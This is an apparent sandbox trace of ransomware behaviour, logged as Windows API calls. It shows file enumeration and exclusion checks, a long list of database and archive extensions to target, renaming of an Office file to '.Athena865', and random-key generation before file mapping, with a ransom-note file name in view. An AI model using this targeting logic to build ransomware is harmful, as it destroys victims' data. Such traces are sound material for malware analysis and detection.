[0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="ntuser.dat") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="perflogs") returned 1 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2="MSBuild") returned 1 [0086.040] lstrlenW (lpString="THOCR.PSP") returned 9 [0086.040] lstrcpyW (in: lpString1=0x241e89e, lpString2="THOCR.PSP" | out: lpString1="THOCR.PSP") returned="THOCR.PSP" [0086.040] lstrlenW (lpString="THOCR.PSP") returned 9 [0086.040] lstrlenW (lpString="Athena865") returned 9 [0086.040] lstrlenW (lpString=".dll") returned 4 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2=".dll") returned 1 [0086.040] lstrlenW (lpString=".lnk") returned 4 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2=".lnk") returned 1 [0086.040] lstrlenW (lpString=".ini") returned 4 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2=".ini") returned 1 [0086.040] lstrlenW (lpString=".sys") returned 4 [0086.040] lstrcmpiW (lpString1="THOCR.PSP", lpString2=".sys") returned 1 [0086.040] lstrlenW (lpString="THOCR.PSP") returned 9 [0086.041] lstrlenW (lpString="bak") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="bak") returned 1 [0086.041] lstrlenW (lpString="ba_") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="ba_") returned 1 [0086.041] lstrlenW (lpString="dbb") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="dbb") returned 1 [0086.041] lstrlenW (lpString="vmdk") returned 4 [0086.041] lstrcmpiW (lpString1=".PSP", lpString2="vmdk") returned -1 [0086.041] lstrlenW (lpString="rar") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="rar") returned -1 [0086.041] lstrlenW (lpString="zip") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="zip") returned -1 [0086.041] lstrlenW (lpString="tgz") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="tgz") returned -1 [0086.041] lstrlenW (lpString="vbox") returned 4 [0086.041] lstrcmpiW (lpString1=".PSP", lpString2="vbox") returned -1 [0086.041] lstrlenW (lpString="vdi") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="vdi") returned -1 [0086.041] lstrlenW (lpString="vhd") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="vhd") returned -1 [0086.041] lstrlenW (lpString="vhdx") returned 4 [0086.041] lstrcmpiW (lpString1=".PSP", lpString2="vhdx") returned -1 [0086.041] lstrlenW (lpString="avhd") returned 4 [0086.041] lstrcmpiW (lpString1=".PSP", lpString2="avhd") returned -1 [0086.041] lstrlenW (lpString="db") returned 2 [0086.041] lstrcmpiW (lpString1="SP", lpString2="db") returned 1 [0086.041] lstrlenW (lpString="db2") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="db2") returned 1 [0086.041] lstrlenW (lpString="db3") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="db3") returned 1 [0086.041] lstrlenW (lpString="dbf") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="dbf") returned 1 [0086.041] lstrlenW (lpString="mdf") returned 3 [0086.041] lstrcmpiW (lpString1="PSP", lpString2="mdf") returned 1 [0086.042] lstrlenW (lpString="mdb") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="mdb") returned 1 [0086.042] lstrlenW (lpString="sql") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="sql") returned -1 [0086.042] lstrlenW (lpString="sqlite") returned 6 [0086.042] lstrcmpiW (lpString1="CR.PSP", lpString2="sqlite") returned -1 [0086.042] lstrlenW (lpString="sqlite3") returned 7 [0086.042] lstrcmpiW (lpString1="OCR.PSP", lpString2="sqlite3") returned -1 [0086.042] lstrlenW (lpString="sqlitedb") returned 8 [0086.042] lstrcmpiW (lpString1="HOCR.PSP", lpString2="sqlitedb") returned -1 [0086.042] lstrlenW (lpString="xml") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="xml") returned -1 [0086.042] lstrlenW (lpString="$er") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="$er") returned 1 [0086.042] lstrlenW (lpString="4dd") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="4dd") returned 1 [0086.042] lstrlenW (lpString="4dl") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="4dl") returned 1 [0086.042] lstrlenW (lpString="^^^") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="^^^") returned 1 [0086.042] lstrlenW (lpString="abs") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="abs") returned 1 [0086.042] lstrlenW (lpString="abx") returned 3 [0086.042] lstrcmpiW (lpString1="PSP", lpString2="abx") returned 1 [0086.042] lstrlenW (lpString="accdb") returned 5 [0086.042] lstrcmpiW (lpString1="R.PSP", lpString2="accdb") returned 1 [0086.042] lstrlenW (lpString="accdc") returned 5 [0086.042] lstrcmpiW (lpString1="R.PSP", lpString2="accdc") returned 1 [0086.042] lstrlenW (lpString="accde") returned 5 [0086.042] lstrcmpiW (lpString1="R.PSP", lpString2="accde") returned 1 [0086.042] lstrlenW (lpString="accdr") returned 5 [0086.042] lstrcmpiW (lpString1="R.PSP", lpString2="accdr") returned 1 [0086.042] lstrlenW (lpString="accdt") returned 5 [0086.042] lstrcmpiW (lpString1="R.PSP", lpString2="accdt") returned 1 [0086.042] lstrlenW (lpString="accdw") returned 5 [0086.043] lstrcmpiW (lpString1="R.PSP", lpString2="accdw") returned 1 [0086.043] lstrlenW (lpString="accft") returned 5 [0086.043] lstrcmpiW (lpString1="R.PSP", lpString2="accft") returned 1 [0086.043] lstrlenW (lpString="adb") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="adb") returned 1 [0086.043] lstrlenW (lpString="adb") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="adb") returned 1 [0086.043] lstrlenW (lpString="ade") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="ade") returned 1 [0086.043] lstrlenW (lpString="adf") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="adf") returned 1 [0086.043] lstrlenW (lpString="adn") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="adn") returned 1 [0086.043] lstrlenW (lpString="adp") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="adp") returned 1 [0086.043] lstrlenW (lpString="alf") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="alf") returned 1 [0086.043] lstrlenW (lpString="ask") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="ask") returned 1 [0086.043] lstrlenW (lpString="btr") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="btr") returned 1 [0086.043] lstrlenW (lpString="cat") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="cat") returned 1 [0086.043] lstrlenW (lpString="cdb") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="cdb") returned 1 [0086.043] lstrlenW (lpString="ckp") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="ckp") returned 1 [0086.043] lstrlenW (lpString="cma") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="cma") returned 1 [0086.043] lstrlenW (lpString="cpd") returned 3 [0086.043] lstrcmpiW (lpString1="PSP", lpString2="cpd") returned 1 [0086.043] lstrlenW (lpString="dacpac") returned 6 [0086.043] lstrcmpiW (lpString1="CR.PSP", lpString2="dacpac") returned -1 [0086.043] lstrlenW (lpString="dad") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dad") returned 1 [0086.044] lstrlenW (lpString="dadiagrams") returned 10 [0086.044] lstrlenW (lpString="daschema") returned 8 [0086.044] lstrcmpiW (lpString1="HOCR.PSP", lpString2="daschema") returned 1 [0086.044] lstrlenW (lpString="db-journal") returned 10 [0086.044] lstrlenW (lpString="db-shm") returned 6 [0086.044] lstrcmpiW (lpString1="CR.PSP", lpString2="db-shm") returned -1 [0086.044] lstrlenW (lpString="db-wal") returned 6 [0086.044] lstrcmpiW (lpString1="CR.PSP", lpString2="db-wal") returned -1 [0086.044] lstrlenW (lpString="dbc") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dbc") returned 1 [0086.044] lstrlenW (lpString="dbs") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dbs") returned 1 [0086.044] lstrlenW (lpString="dbt") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dbt") returned 1 [0086.044] lstrlenW (lpString="dbv") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dbv") returned 1 [0086.044] lstrlenW (lpString="dbx") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dbx") returned 1 [0086.044] lstrlenW (lpString="dcb") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dcb") returned 1 [0086.044] lstrlenW (lpString="dct") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dct") returned 1 [0086.044] lstrlenW (lpString="dcx") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dcx") returned 1 [0086.044] lstrlenW (lpString="ddl") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="ddl") returned 1 [0086.044] lstrlenW (lpString="dlis") returned 4 [0086.044] lstrcmpiW (lpString1=".PSP", lpString2="dlis") returned -1 [0086.044] lstrlenW (lpString="dp1") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dp1") returned 1 [0086.044] lstrlenW (lpString="dqy") returned 3 [0086.044] lstrcmpiW (lpString1="PSP", lpString2="dqy") returned 1 [0086.044] lstrlenW (lpString="dsk") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="dsk") returned 1 [0086.045] lstrlenW (lpString="dsn") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="dsn") returned 1 [0086.045] lstrlenW (lpString="dtsx") returned 4 [0086.045] lstrcmpiW (lpString1=".PSP", lpString2="dtsx") returned -1 [0086.045] lstrlenW (lpString="dxl") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="dxl") returned 1 [0086.045] lstrlenW (lpString="eco") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="eco") returned 1 [0086.045] lstrlenW (lpString="ecx") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="ecx") returned 1 [0086.045] lstrlenW (lpString="edb") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="edb") returned 1 [0086.045] lstrlenW (lpString="epim") returned 4 [0086.045] lstrcmpiW (lpString1=".PSP", lpString2="epim") returned -1 [0086.045] lstrlenW (lpString="fcd") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="fcd") returned 1 [0086.045] lstrlenW (lpString="fdb") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="fdb") returned 1 [0086.045] lstrlenW (lpString="fic") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="fic") returned 1 [0086.045] lstrlenW (lpString="flexolibrary") returned 12 [0086.045] lstrlenW (lpString="fm5") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="fm5") returned 1 [0086.045] lstrlenW (lpString="fmp") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="fmp") returned 1 [0086.045] lstrlenW (lpString="fmp12") returned 5 [0086.045] lstrcmpiW (lpString1="R.PSP", lpString2="fmp12") returned 1 [0086.045] lstrlenW (lpString="fmpsl") returned 5 [0086.045] lstrcmpiW (lpString1="R.PSP", lpString2="fmpsl") returned 1 [0086.045] lstrlenW (lpString="fol") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="fol") returned 1 [0086.045] lstrlenW (lpString="fp3") returned 3 [0086.045] lstrcmpiW (lpString1="PSP", lpString2="fp3") returned 1 [0086.045] lstrlenW (lpString="fp4") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="fp4") returned 1 [0086.046] lstrlenW (lpString="fp5") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="fp5") returned 1 [0086.046] lstrlenW (lpString="fp7") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="fp7") returned 1 [0086.046] lstrlenW (lpString="fpt") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="fpt") returned 1 [0086.046] lstrlenW (lpString="frm") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="frm") returned 1 [0086.046] lstrlenW (lpString="gdb") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="gdb") returned 1 [0086.046] lstrlenW (lpString="gdb") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="gdb") returned 1 [0086.046] lstrlenW (lpString="grdb") returned 4 [0086.046] lstrcmpiW (lpString1=".PSP", lpString2="grdb") returned -1 [0086.046] lstrlenW (lpString="gwi") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="gwi") returned 1 [0086.046] lstrlenW (lpString="hdb") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="hdb") returned 1 [0086.046] lstrlenW (lpString="his") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="his") returned 1 [0086.046] lstrlenW (lpString="ib") returned 2 [0086.046] lstrcmpiW (lpString1="SP", lpString2="ib") returned 1 [0086.046] lstrlenW (lpString="idb") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="idb") returned 1 [0086.046] lstrlenW (lpString="ihx") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="ihx") returned 1 [0086.046] lstrlenW (lpString="itdb") returned 4 [0086.046] lstrcmpiW (lpString1=".PSP", lpString2="itdb") returned -1 [0086.046] lstrlenW (lpString="itw") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="itw") returned 1 [0086.046] lstrlenW (lpString="jet") returned 3 [0086.046] lstrcmpiW (lpString1="PSP", lpString2="jet") returned 1 [0086.046] lstrlenW (lpString="jtx") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="jtx") returned 1 [0086.047] lstrlenW (lpString="kdb") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="kdb") returned 1 [0086.047] lstrlenW (lpString="kexi") returned 4 [0086.047] lstrcmpiW (lpString1=".PSP", lpString2="kexi") returned -1 [0086.047] lstrlenW (lpString="kexic") returned 5 [0086.047] lstrcmpiW (lpString1="R.PSP", lpString2="kexic") returned 1 [0086.047] lstrlenW (lpString="kexis") returned 5 [0086.047] lstrcmpiW (lpString1="R.PSP", lpString2="kexis") returned 1 [0086.047] lstrlenW (lpString="lgc") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="lgc") returned 1 [0086.047] lstrlenW (lpString="lwx") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="lwx") returned 1 [0086.047] lstrlenW (lpString="maf") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="maf") returned 1 [0086.047] lstrlenW (lpString="maq") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="maq") returned 1 [0086.047] lstrlenW (lpString="mar") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="mar") returned 1 [0086.047] lstrlenW (lpString="marshal") returned 7 [0086.047] lstrcmpiW (lpString1="OCR.PSP", lpString2="marshal") returned 1 [0086.047] lstrlenW (lpString="mas") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="mas") returned 1 [0086.047] lstrlenW (lpString="mav") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="mav") returned 1 [0086.047] lstrlenW (lpString="maw") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="maw") returned 1 [0086.047] lstrlenW (lpString="mdbhtml") returned 7 [0086.047] lstrcmpiW (lpString1="OCR.PSP", lpString2="mdbhtml") returned 1 [0086.047] lstrlenW (lpString="mdn") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="mdn") returned 1 [0086.047] lstrlenW (lpString="mdt") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="mdt") returned 1 [0086.047] lstrlenW (lpString="mfd") returned 3 [0086.047] lstrcmpiW (lpString1="PSP", lpString2="mfd") returned 1 [0086.048] lstrlenW (lpString="mpd") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="mpd") returned 1 [0086.048] lstrlenW (lpString="mrg") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="mrg") returned 1 [0086.048] lstrlenW (lpString="mud") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="mud") returned 1 [0086.048] lstrlenW (lpString="mwb") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="mwb") returned 1 [0086.048] lstrlenW (lpString="myd") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="myd") returned 1 [0086.048] lstrlenW (lpString="ndf") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="ndf") returned 1 [0086.048] lstrlenW (lpString="nnt") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="nnt") returned 1 [0086.048] lstrlenW (lpString="nrmlib") returned 6 [0086.048] lstrcmpiW (lpString1="CR.PSP", lpString2="nrmlib") returned -1 [0086.048] lstrlenW (lpString="ns2") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="ns2") returned 1 [0086.048] lstrlenW (lpString="ns3") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="ns3") returned 1 [0086.048] lstrlenW (lpString="ns4") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="ns4") returned 1 [0086.048] lstrlenW (lpString="nsf") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="nsf") returned 1 [0086.048] lstrlenW (lpString="nv") returned 2 [0086.048] lstrcmpiW (lpString1="SP", lpString2="nv") returned 1 [0086.048] lstrlenW (lpString="nv2") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="nv2") returned 1 [0086.048] lstrlenW (lpString="nwdb") returned 4 [0086.048] lstrcmpiW (lpString1=".PSP", lpString2="nwdb") returned -1 [0086.048] lstrlenW (lpString="nyf") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="nyf") returned 1 [0086.048] lstrlenW (lpString="odb") returned 3 [0086.048] lstrcmpiW (lpString1="PSP", lpString2="odb") returned 1 [0086.048] lstrlenW (lpString="odb") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="odb") returned 1 [0086.049] lstrlenW (lpString="oqy") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="oqy") returned 1 [0086.049] lstrlenW (lpString="ora") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="ora") returned 1 [0086.049] lstrlenW (lpString="orx") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="orx") returned 1 [0086.049] lstrlenW (lpString="owc") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="owc") returned 1 [0086.049] lstrlenW (lpString="p96") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="p96") returned 1 [0086.049] lstrlenW (lpString="p97") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="p97") returned 1 [0086.049] lstrlenW (lpString="pan") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="pan") returned 1 [0086.049] lstrlenW (lpString="pdb") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="pdb") returned 1 [0086.049] lstrlenW (lpString="pdm") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="pdm") returned 1 [0086.049] lstrlenW (lpString="pnz") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="pnz") returned 1 [0086.049] lstrlenW (lpString="qry") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="qry") returned -1 [0086.049] lstrlenW (lpString="qvd") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="qvd") returned -1 [0086.049] lstrlenW (lpString="rbf") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="rbf") returned -1 [0086.049] lstrlenW (lpString="rctd") returned 4 [0086.049] lstrcmpiW (lpString1=".PSP", lpString2="rctd") returned -1 [0086.049] lstrlenW (lpString="rod") returned 3 [0086.049] lstrcmpiW (lpString1="PSP", lpString2="rod") returned -1 [0086.049] lstrlenW (lpString="rodx") returned 4 [0086.049] lstrcmpiW (lpString1=".PSP", lpString2="rodx") returned -1 [0086.049] lstrlenW (lpString="rpd") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="rpd") returned -1 [0086.050] lstrlenW (lpString="rsd") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="rsd") returned -1 [0086.050] lstrlenW (lpString="sas7bdat") returned 8 [0086.050] lstrcmpiW (lpString1="HOCR.PSP", lpString2="sas7bdat") returned -1 [0086.050] lstrlenW (lpString="sbf") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="sbf") returned -1 [0086.050] lstrlenW (lpString="scx") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="scx") returned -1 [0086.050] lstrlenW (lpString="sdb") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="sdb") returned -1 [0086.050] lstrlenW (lpString="sdc") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="sdc") returned -1 [0086.050] lstrlenW (lpString="sdf") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="sdf") returned -1 [0086.050] lstrlenW (lpString="sis") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="sis") returned -1 [0086.050] lstrlenW (lpString="spq") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="spq") returned -1 [0086.050] lstrlenW (lpString="te") returned 2 [0086.050] lstrcmpiW (lpString1="SP", lpString2="te") returned -1 [0086.050] lstrlenW (lpString="teacher") returned 7 [0086.050] lstrcmpiW (lpString1="OCR.PSP", lpString2="teacher") returned -1 [0086.050] lstrlenW (lpString="tmd") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="tmd") returned -1 [0086.050] lstrlenW (lpString="tps") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="tps") returned -1 [0086.050] lstrlenW (lpString="trc") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="trc") returned -1 [0086.050] lstrlenW (lpString="trc") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="trc") returned -1 [0086.050] lstrlenW (lpString="trm") returned 3 [0086.050] lstrcmpiW (lpString1="PSP", lpString2="trm") returned -1 [0086.051] lstrlenW (lpString="udb") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="udb") returned -1 [0086.051] lstrlenW (lpString="udl") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="udl") returned -1 [0086.051] lstrlenW (lpString="usr") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="usr") returned -1 [0086.051] lstrlenW (lpString="v12") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="v12") returned -1 [0086.051] lstrlenW (lpString="vis") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="vis") returned -1 [0086.051] lstrlenW (lpString="vpd") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="vpd") returned -1 [0086.051] lstrlenW (lpString="vvv") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="vvv") returned -1 [0086.051] lstrlenW (lpString="wdb") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="wdb") returned -1 [0086.051] lstrlenW (lpString="wmdb") returned 4 [0086.051] lstrcmpiW (lpString1=".PSP", lpString2="wmdb") returned -1 [0086.051] lstrlenW (lpString="wrk") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="wrk") returned -1 [0086.051] lstrlenW (lpString="xdb") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="xdb") returned -1 [0086.051] lstrlenW (lpString="xld") returned 3 [0086.051] lstrcmpiW (lpString1="PSP", lpString2="xld") returned -1 [0086.051] lstrlenW (lpString="xmlff") returned 5 [0086.051] lstrcmpiW (lpString1="R.PSP", lpString2="xmlff") returned -1 [0086.051] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP.Athena865") returned 62 [0086.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp.athena865"), dwFlags=0x1) returned 1 [0086.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\thocr.psp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.055] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=289792) returned 1 [0086.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.055] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.056] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.056] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.056] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46f00, lpName=0x0) returned 0x154 [0086.059] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46f00) returned 0x2d50000 [0086.072] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.073] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.073] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.074] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0086.076] CloseHandle (hObject=0x154) returned 1 [0086.076] CloseHandle (hObject=0x17c) returned 1 [0086.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.078] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe33c4660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x8958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="THOCRAPI.DLL", cAlternateFileName="")) returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 